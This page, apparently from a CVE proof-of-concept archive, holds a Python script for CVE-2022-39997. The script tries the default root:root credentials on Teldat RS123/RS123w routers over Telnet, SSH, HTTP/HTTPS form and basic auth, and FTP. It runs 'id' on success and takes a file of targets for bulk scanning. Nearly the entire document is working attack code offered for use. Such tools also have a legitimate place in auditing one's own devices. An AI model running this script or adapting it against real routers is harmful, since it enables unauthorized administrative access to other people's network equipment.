5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-39997.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2022-39997 - Teldat Router (RS123/RS123w) Weak Password POC

Description:
    Teldat RS123/RS123w routers ship with hardcoded default credentials
    (root:root) that many administrators never change. This allows
    unauthenticated attackers to gain full administrative access.

CWE:        CWE-521 (Weak Password Requirements)
CVSS:       9.8 (Critical)
Severity:   Critical

Affected Versions:
    - Teldat RS123
    - Teldat RS123w

Usage:
    python CVE-2022-39997.py -t 192.168.1.1
    python CVE-2022-39997.py -t 192.168.1.1 --timeout 10
    python CVE-2022-39997.py -f targets.txt
"""

import argparse
import sys
import requests
import telnetlib
import paramiko
import socket
import time
from urllib.parse import urljoin

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

DEFAULT_USERNAME = "root"
DEFAULT_PASSWORD = "root"
DEFAULT_TIMEOUT = 5

BANNER = r"""
  _____ _   _ _____       _____  _____  _____  _____       _____  _____  _____ _____  ______
 /  __ \ | | |  ___|     / __  \|  _  |/ __  \/ __  \     |____ ||  _  ||  _  ||  _  ||___  /
 | /  \/ | | | |__ ______`' / /'| |/' |`' / /'`' / /'______   / /| |_| || |_| || |_| |   / /
 | |   | | | |  __|______| / /  |  /| |  / /    / / |______|  \ \\____ |\____ |\____ |  / /
 | \__/\ \_/ / |___      ./ /___\ |_/ /./ /___./ /___     .___/ /.___/ /.___/ /.___/ /./ /
  \____/\___/\____/      \_____/ \___/ \_____/\_____/     \____/ \____/ \____/\____/ \_/
"""


def check_http(target, port, use_ssl=False, path="/", username=None, password=None):
    """
    Attempt HTTP Basic Authentication or form-based login
    with default credentials.
    """
    protocol = "https" if use_ssl else "http"
    url = f"{protocol}://{target}:{port}{path}"

    username = username or DEFAULT_USERNAME
    password = password or DEFAULT_PASSWORD

    results = []

    # --- HTTP Basic Auth ---
    try:
        r = requests.get(
            url,
            auth=(username, password),
            timeout=DEFAULT_TIMEOUT,
            verify=False,
        )
        if r.status_code == 200:
            results.append(f"[+] HTTP Basic Auth ({url}) - SUCCESS (root:root)")
            print(f"    [!] Response length: {len(r.text)} bytes")
        elif r.status_code == 401:
            results.append(f"[-] HTTP Basic Auth ({url}) - 401 Unauthorized")
        else:
            results.append(f"[*] HTTP Basic Auth ({url}) - Status: {r.status_code}")
    except requests.exceptions.ConnectionError:
        results.append(f"[-] HTTP ({url}) - Connection refused")
    except requests.exceptions.Timeout:
        results.append(f"[-] HTTP ({url}) - Timeout")
    except Exception as e:
        results.append(f"[-] HTTP ({url}) - Error: {e}")

    # --- Form-based login (common router endpoints) ---
    login_endpoints = [
        "/login.cgi",
        "/cgi-bin/login",
        "/goform/login",
        "/login.html",
        "/index.html",
        "/admin/login",
    ]

    for endpoint in login_endpoints:
        try:
            login_url = urljoin(url, endpoint)
            # Try common POST parameter names
            data = {"username": username, "password": password}
            r = requests.post(
                login_url,
                data=data,
                timeout=DEFAULT_TIMEOUT,
                verify=False,
                allow_redirects=False,
            )

            if r.status_code in [200, 302] and "error" not in r.text.lower():
                # Check if we got a session cookie or redirect
                if r.status_code == 302 or "Set-Cookie" in str(r.headers):
                    results.append(
                        f"[+] Form Login ({login_url}) - Possible SUCCESS (root:root)"
                    )
                    break
        except Exception:
            continue

    return results


def check_telnet(target, port=23, username=None, password=None):
    """
    Attempt Telnet login with default credentials.
    """
    username = username or DEFAULT_USERNAME
    password = password or DEFAULT_PASSWORD

    try:
        tn = telnetlib.Telnet(target, port, timeout=DEFAULT_TIMEOUT)

        # Wait for login prompt
        idx, match, text = tn.expect(
            [b"login:", b"Login:", b"Username:", b"username:", b"user:"],
            timeout=DEFAULT_TIMEOUT,
        )
        tn.write(username.encode("ascii") + b"\n")

        # Wait for password prompt
        idx, match, text = tn.expect(
            [b"Password:", b"password:", b"Passwd:"], timeout=DEFAULT_TIMEOUT
        )
        tn.write(password.encode("ascii") + b"\n")

        # Wait a moment and read response
        time.sleep(1)
        output = tn.read_very_eager().decode("ascii", errors="ignore")

        tn.close()

        # Check if we got a shell prompt or error
        if "login incorrect" in output.lower() or "access denied" in output.lower():
            return [f"[-] Telnet ({target}:{port}) - Login failed (wrong credentials)"]
        elif "#" in output or ">" in output or "$" in output:
            return [f"[+] Telnet ({target}:{port}) - SUCCESS (root:root) - Got shell!"]
        elif "login:" in output.lower() or "password:" in output.lower():
            return [
                f"[-] Telnet ({target}:{port}) - Login failed (credentials rejected)"
            ]
        else:
            return [
                f"[+] Telnet ({target}:{port}) - Possible SUCCESS (root:root)"
                f"\n    Output: {output[:200]}"
            ]
    except (socket.timeout, ConnectionRefusedError, TimeoutError):
        return [f"[-] Telnet ({target}:{port}) - Connection failed"]
    except EOFError:
        return [f"[-] Telnet ({target}:{port}) - Connection closed by host"]
    except Exception as e:
        return [f"[-] Telnet ({target}:{port}) - Error: {e}"]


def check_ssh(target, port=22, username=None, password=None):
    """
    Attempt SSH login with default credentials.
    """
    username = username or DEFAULT_USERNAME
    password = password or DEFAULT_PASSWORD

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(
            target,
            port=port,
            username=username,
            password=password,
            timeout=DEFAULT_TIMEOUT,
            allow_agent=False,
            look_for_keys=False,
        )

        # Execute a simple command to verify
        stdin, stdout, stderr = client.exec_command("id", timeout=DEFAULT_TIMEOUT)
        output = stdout.read().decode("utf-8", errors="ignore").strip()

        client.close()
        return [
            f"[+] SSH ({target}:{port}) - SUCCESS (root:root)"
            f"\n    Command 'id' output: {output[:200]}"
        ]
    except paramiko.AuthenticationException:
        return [f"[-] SSH ({target}:{port}) - Authentication failed"]
    except (socket.timeout, TimeoutError):
        return [f"[-] SSH ({target}:{port}) - Timeout"]
    except ConnectionRefusedError:
        return [f"[-] SSH ({target}:{port}) - Connection refused"]
    except Exception as e:
        return [f"[-] SSH ({target}:{port}) - Error: {e}"]


def check_ftp(target, port=21, username=None, password=None):
    """
    Attempt FTP login with default credentials.
    """
    from ftplib import FTP

    username = username or DEFAULT_USERNAME
    password = password or DEFAULT_PASSWORD

    try:
        ftp = FTP()
        ftp.connect(target, port, timeout=DEFAULT_TIMEOUT)
        ftp.login(username, password)
        ftp.quit()
        return [f"[+] FTP ({target}:{port}) - SUCCESS (root:root)"]
    except Exception as e:
        error_msg = str(e).lower()
        if "530" in error_msg or "login" in error_msg or "auth" in error_msg:
            return [f"[-] FTP ({target}:{port}) - Login failed"]
        return [f"[-] FTP ({target}:{port}) - Connection failed"]


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2022-39997 - Teldat Router Weak Password POC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python CVE-2022-39997.py -t 192.168.1.1
  python CVE-2022-39997.py -t 192.168.1.1 --timeout 10
  python CVE-2022-39997.py -t 192.168.1.1 --all
  python CVE-2022-39997.py -f targets.txt
        """,
    )

    parser.add_argument(
        "-t", "--target", help="Target IP address or hostname"
    )
    parser.add_argument(
        "-f", "--file", help="File containing list of targets (one per line)"
    )
    parser.add_argument(
        "-u", "--username", default=DEFAULT_USERNAME, help="Username (default: root)"
    )
    parser.add_argument(
        "-p", "--password", default=DEFAULT_PASSWORD, help="Password (default: root)"
    )
    parser.add_argument(
        "--timeout", type=int, default=DEFAULT_TIMEOUT, help="Connection timeout in seconds"
    )
    parser.add_argument(
        "--all",
        action="store_true",
        help="Check all services (Telnet, SSH, HTTP, HTTPS, FTP)",
    )
    parser.add_argument(
        "--http-port", type=int, default=80, help="HTTP port (default: 80)"
    )
    parser.add_argument(
        "--ssl-port", type=int, default=443, help="HTTPS port (default: 443)"
    )

    args = parser.parse_args()

    if not args.target and not args.file:
        parser.print_help()
        sys.exit(1)

    print(BANNER)
    print("CVE-2022-39997 | Teldat Router Weak Password (root:root)")
    print(f"CWE-521 | CVSS 9.8 (Critical)")
    print("=" * 60)

    # Build target list
    targets = []
    if args.target:
        targets.append(args.target.strip())
    if args.file:
        try:
            with open(args.file, "r") as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith("#"):
                        targets.append(line)
        except FileNotFoundError:
            print(f"[!] File not found: {args.file}")
            sys.exit(1)

    for target in targets:
        print(f"\n[*] Testing target: {target}")
        print("-" * 40)

        results = []

        # Telnet (common on embedded routers)
        print("[*] Checking Telnet (port 23)...")
        results.extend(check_telnet(target, username=args.username, password=args.password))

        # SSH
        print("[*] Checking SSH (port 22)...")
        results.extend(check_ssh(target, username=args.username, password=args.password))

        # HTTP / HTTPS
        print("[*] Checking HTTP (port 80)...")
        results.extend(
            check_http(
                target,
                args.http_port,
                username=args.username,
                password=args.password,
            )
        )

        if args.all:
            print("[*] Checking HTTPS (port 443)...")
            results.extend(
                check_http(
                    target,
                    args.ssl_port,
                    use_ssl=True,
                    username=args.username,
                    password=args.password,
                )
            )

            print("[*] Checking FTP (port 21)...")
            results.extend(
                check_ftp(target, username=args.username, password=args.password)
            )

        # Print results
        print("\n[*] Results:")
        for result in results:
            print(f"    {result}")

        # Summary
        success = any("[+]" in r for r in results)
        if success:
            print(f"\n[!!!] VULNERABLE: {target} - Weak default credentials (root:root)")
        else:
            print(f"\n[*] {target} - Not vulnerable or unreachable via tested services")


if __name__ == "__main__":
    main()